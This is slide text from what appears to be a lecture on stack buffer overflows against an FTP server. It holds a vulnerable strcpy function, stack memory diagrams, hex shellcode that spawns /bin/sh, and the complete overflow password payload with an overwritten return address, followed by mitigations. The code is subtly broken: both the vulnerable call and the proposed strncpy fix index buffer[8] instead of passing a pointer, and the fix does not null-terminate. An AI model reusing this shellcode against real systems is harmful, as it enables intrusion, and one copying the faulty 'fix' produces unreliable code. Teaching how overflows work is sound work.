    verify(*password) { char buffer[8]; int f1,f2; strcpy(buffer[8],password); 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ 00FF1FEFH: ‘A’ 00FF1FEEH: ‘A’ 00FF1FEDH: ‘A’ 00FF1FECH: ‘A’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Shell Code ( In Hex ) EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00 Return Address ( 00FF1FFCH )
  • 29.
    00FF2009H: 46H 00FF2008H: 89H 00FF2007H:07H 00FF2006H: 46H 00FF2005H: 88H 00FF2004H: C0H 00FF2003H: 31H 00FF2002H: 08H 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ FTP Server Under Attack Password to be entered (Codes in Hex) 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, FC, 1F, FF, 00, EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00 ShellCode
  • 30.
    00FF2009H: 46H 00FF2008H: 89H 00FF2007H:07H 00FF2006H: 46H 00FF2005H: 88H 00FF2004H: C0H 00FF2003H: 31H 00FF2002H: 08H 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ FTP Server Under Attack ShellCode Shell Prompt Password to be entered (Codes in Hex) 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, FC, 1F, FF, 00, EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00
  • 31.
    00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH:*password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ 00FF1FEFH: ‘A’ 00FF1FEEH: ‘A’ 00FF1FEDH: ‘A’ 00FF1FECH: ‘A’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 Plugging the Loophole verify(*password) { char buffer[8]; int f1, f2; strncpy(buffer[8],password,8);
  • 32.
    Fighting Stack Overflow CProgrammers now refrain from using strcpy(), strcat() in their programs. They use strncpy(), strncat() instead which perform bound checking. Programmers now write their applications in languages like Java, Visual Basic which have better stack and memory management features. Sun Microsystems is trying to make their SPARC processor immune to stack overflow attack by introducing new features to protect the return address during a subroutine call.
  • 33.